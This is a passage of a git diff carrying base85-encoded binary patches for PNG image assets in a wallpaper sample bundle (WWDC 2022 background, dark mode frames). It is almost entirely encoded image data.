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 OIJ~Ft7dLhu`u49GdDRyH literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe3.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe3.png new file mode 100644 index 0000000000000000000000000000000000000000..e2095515060f88e01a36e897b2882498a4beec2e GIT binary patch literal 53752 zcmeFZ2~<-_yDm&ODk=(}?SP1YLjaW-1cVUimKKZ%sHjXb$)p4bGQ|)kZNY94&>fX1 zlQu1g0%4FjB&f|0L_h_?7#t!&AVd>Lgb=v3gG2Y}^WA&yT4()t{c9c8(j-;2Ywun4 z)?3f}ywBdh9kRDsy>in^DJiMd=>0z*k&;?E2>)BY43z9KI_L|2D4ss*9N}zt(98!L ztmEyAJ?W=&HaHa2OG%kqo(=W(!T3dNIq4U0Is~K94 zqr?0hqwSCSL}PqReYaU!tTaDs2094#i}2oZHaI9G-0UoBo1|Ye@EtDJ-L^&2Bm#rl z=4^LpixoD^Z;O$Rk&fOri`C#x1we3_yM5vjrE)Iv&!5Qjc!vb{m zO-)U8^$c_k475QD?QncZg!ftPknrtr7mI!T>=*76b~-fTG&W=l+^6?RY-9v#+cr?Y z<;#@?hkormB>eN;gK^M3>m91AucN2?*T$izuo2ksQ`moV$k*zB9O!rU^tXHX+iBpM ze>9Ic?f-9@!!`eC4#wKf?tgz5!NGsKk?@FpQD7iG59;48=*xYFAH|3I=^pV5$3}+v 